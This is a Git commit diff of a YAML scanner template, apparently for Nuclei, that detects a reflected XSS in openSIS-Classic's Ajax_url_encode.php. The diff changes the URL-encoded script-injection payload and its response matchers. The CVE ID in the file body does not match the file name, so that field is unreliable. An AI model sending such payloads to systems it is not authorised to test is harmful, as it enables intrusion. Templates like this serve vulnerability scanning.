Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml

patch-1
Prince Chaddha 2021-12-03 12:42:37 +05:30 committed by GitHub
parent dc815bdf81
commit 0457cbd6b2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -8,24 +8,24 @@ info:
reference:
- https://github.com/OS4ED/openSIS-Classic/issues/189
- https://nvd.nist.gov/vuln/detail/CVE-2021-40542
tags: xss,cve,cve2021,opensis
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-38704
cwe-id: CWE-79
tags: xss,cve,cve2021,opensis
requests:
- method: GET
path:
- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "</script><script>alert(document.domain)</script>"
- type: word
part: header